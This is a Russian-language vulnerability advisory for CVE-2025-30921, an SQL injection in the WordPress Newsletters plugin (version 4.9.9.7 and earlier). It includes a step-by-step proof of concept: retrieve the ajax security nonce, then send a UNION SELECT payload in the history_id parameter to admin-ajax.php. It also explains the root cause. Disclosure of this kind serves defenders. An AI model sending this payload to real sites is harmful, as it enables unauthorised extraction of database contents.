CVE-2025-30921

1️⃣ Тип компонента

Плагин WordPress

2️⃣ Детали компонента

Component name Newsletters

Vulnerable version <= 4.9.9.7

Component slug newsletters-lite

Component link https://wordpress.org/plugins/newsletters-lite/

3️⃣ OWASP 2017: TOP 10

Vulnerability class A3: Injection

Vulnerability type SQL Injection

4️⃣ Предварительные требования

Администратор

5️⃣ Детали уязвимости

👉 Краткое описание

При просмотре сводной диаграммы статистики в панели управления плагина Newsletters (/wp-admin/admin.php?page=newsletters) версии 4.9.9.7 или ниже возникает уязвимость SQL-инъекции из-за недостаточной проверки ввода и обработки экранирования параметров URL.

С помощью этой уязвимости злоумышленник с правами администратора может извлечь информацию из базы данных целевого сайта.

👉 Как воспроизвести (PoC)

1. Подготовьте сайт WordPress с установленным плагином Newsletters версии 4.9.9.7 или ниже.

2. Перейдите в меню панели управления плагина Newsletters (/wp-admin/admin.php?page=newsletters).

   

3. Используя инструменты разработчика браузера, найдите action=wpmlwelcomestats&security= на вкладке 'Elements' и проверьте значение security. Например, если результат поиска выглядит как показано ниже, запишите 22b1ac0de6.

   root@kitploit:~

   // ...
   
   jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
   
   // ...
   

   

4. Введите записанное значение security в раздел <SECURITY VALUE> пути URL ниже и отправьте запрос на этот URL.

   root@kitploit:~

   http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
   

👉 Дополнительная информация (опционально)

[Коренная причина уязвимости]

При запросе URL, в котором возникает уязвимость SQL-инъекции в приведённом выше PoC, вызывается функция ajax_welcomestats в файле /wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php.

В этот момент параметр запроса history_id напрямую используется как условие в строке SQL-запроса и инициализируется как переменная $history_condition. Эта переменная затем передаётся в запрос к базе данных без какой-либо обработки экранирования.

Таким образом, поскольку для значений, введённых в параметр URL history_id, отсутствует проверка или экранирование, возникает уязвимость SQL-инъекции. (Обратите внимание, что параметры URL from и to также уязвимы для атак SQL-инъекции из-за недостаточной проверки ввода и обработки экранирования.)

6️⃣ Демонстрация эксплойта

7️⃣ Ссылки

• https://nvd.nist.gov/vuln/detail/CVE-2025-30921